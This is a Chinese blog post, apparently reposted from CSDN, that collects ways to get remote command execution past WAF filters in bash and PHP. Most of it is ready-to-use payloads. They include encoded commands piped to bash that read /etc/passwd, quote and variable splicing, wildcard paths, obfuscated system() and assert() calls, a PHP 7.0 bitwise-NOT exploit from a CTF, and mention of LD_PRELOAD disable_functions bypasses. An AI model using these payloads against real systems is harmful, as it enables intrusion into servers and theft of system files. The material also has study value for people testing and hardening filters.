php骚姿势,RCE的Bypass与骚姿势总结

本文详细介绍了如何绕过Web应用防火墙(WAF)对远程命令执行(RCE)漏洞的过滤,包括空格、分号、敏感字符的替代方法,以及变量利用、编码转换、文件名过滤等各种绕过策略。同时提到了PHP中的函数system()的绕过技巧,并分享了CTF挑战中遇到的实际例子和解决方案。
摘要由CSDN通过智能技术生成

本文原作者;小仙人

Bypass篇

前言:关于RCE的Bypass,我们应该从哪些角度开展呢。要知道怎么绕过,我们就得知道防火墙的过滤规则才行。那我们想想,在利用RCE漏洞的时候,我们当然想用cat、chmod、whoami、ifconfig、ls等这些操作对不对!像这些敏感命令,防火墙就会进行过滤。还有特殊字符如单引、双引、空格等等,防火墙同样会进行过滤。那我们现在知道那该死的防火墙不让我们输入那些敏感字符了,我们就要想办法找一些可以代替这些敏感字符且又能表达其字符的意思的东西对吧?所以我们进入主题!

1f11757159e00be95fdc8c975fcfb206.png

f53e0df7fb1108e86f7d60548f1efe7e.png

常见绕过方法

空格绕过:在bash下可以用$IFS、${IFS}、$IFS$9、%09(在URL上使用较多)、、<>、{,}、%20(space)、%09(tab)

(备注:此处有$IFS$9,而这里为什么用$9呢,是因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$IFS在Linux下表示分隔符。)

分号绕过:在bash下可以用%0a

(声明其中的一个做法{cat,1.txt},这里尖括号的用法是括起来再用逗号,要注意。)

敏感字符绕过:例如cat、chmod

1)利用变量绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]# a=c;b=a;c=t;

[root@iz2zebsl4jvqeiddcl4y2cz ~]# $a$b$c 1.txt

2)利用base编码绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]#echo 'cat' | base64

Y2F0wqAK

[root@iz2zebsl4jvqeiddcl4y2cz ~]#`echo 'Y2F0wqAK' | base64 -d` 1.txt

hello world

[root@iz2zebsl4jvqeiddcl4y2cz ~]#echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash// cat /etc/passwd 查看所有用户信息

3)利用hex编码(十六进制)绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]#echo "636174202F6574632F706173737764" | xxd -r -p|bash// hex编码后的0x不需要输入。

4)利用oct编码(八进制)绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]#$(printf "\154\163")//ls命令(这个154和163的值,本人暂时不知道是如何转换的)

5)利用拼接绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]#c''a''t 1.txt//单引

[root@iz2zebsl4jvqeiddcl4y2cz ~]#c""a""t 1.txt//双引

[root@iz2zebsl4jvqeiddcl4y2cz ~]#c``a``t 1.txt//反单引

[root@iz2zebsl4jvqeiddcl4y2cz ~]#c\a\t 1.txt//反斜线

6)利用未初始化变量

[root@iz2zebsl4jvqeiddcl4y2cz ~]#cat$u 1.txt

过滤文件名绕过(例如过滤/etc/passwd文件)

1)利用正则匹配绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]#cat /???/pass*

2)例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

[root@iz2zebsl4jvqeiddcl4y2cz ~]#cat /etc$u/passwd

备注:此方法能绕CloudFlare WAF(出自:https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)

命令执行函数system()绕过(在URL请求中过滤system()函数)

1)"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");

8af6f62ff2d4ba1d94fcee9d930cfa9b.png

1)(sy.(st).em)(whoami);

720120c5ecd603d0a594ad00429010e9.png

1)?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET[b].$_GET[c]);

1)插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

php -r "system/*caixukun*/(whoami);"

php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

骚姿势绕过总结

1)在Linux bash下可以使用{OS_COMMAND,ARGUMENT}来执行系统命令

2)当过滤了大小写字母、数字、$符号的时候,可以利用通配符绕过

https://www.freebuf.com/articles/web/186298.html--  前辈这篇文章写得很好,姿势可以参考。

https://www.freebuf.com/articles/web/160175.html

3)当遇到addslashes()过滤了单引、双引、反斜杠、NULL这些预定义字符,利用PHP复杂变量绕过。

http://www.test.com/test.php?str=${${assert($_GET[x])}}&x=phpinfo()

http://www.test.com/test.php?str=${${assert($_POST[guixianren])}}

4)当正则匹配if(preg("/[A-Za-z0-9_`'"^?<>${}]+/",$code))过滤特殊符号而且大小写字母和数字都过滤的时候,又怎么进行绕过呢?这是前辈给的EXP:

?code=(~%9E%8C%8C%9A%8D%8B)((~%91%9A%87%8B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()));

利用的前提条件是PHP版本刚好为7.0,只能刚好是7.0版本,大于小于这个EXP都会失效。这是一道CTF的题目,这是出自evoa师傅的思路,这里分享给大家。

https://www.evoa.me/index.php/archives/62/

5)当只过滤大小写字母和数字的时候且又限制了长度,该怎么绕过。同样是CTF的题。

097d89429d3291a41e63c33aedad4725.png

这是前辈写的https://imagin.vip/?p=508

真可谓收益匪浅,学习就是先走一遍别人的老路,到达一定知识量的时候,自己走自己的路。

1)Bypass disable function(绕过禁用函数),情景是当遇到很全面的禁用函数列表时,我们又应当怎么绕过。原理是通过LD_PRELOAD绕过disable_functions这里推荐一个各种方式突破Disable_functions达到命令执行的Shell。工具可以到"安全武器库"上拿。

参考资料

关于OWASP ModSecurity核心规则集(CRS)项目:

https://github.com/SpiderLabs/owasp-modsecurity-crs/

RCE Bypass远程命令执行绕过技巧:

http://www.leommxj.com/2017/06/11/RCE-Bypass/

关于Apache Tomcat多版本远程代码执行漏洞CVE-2016-8735

https://www.anquanke.com/post/id/85043

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值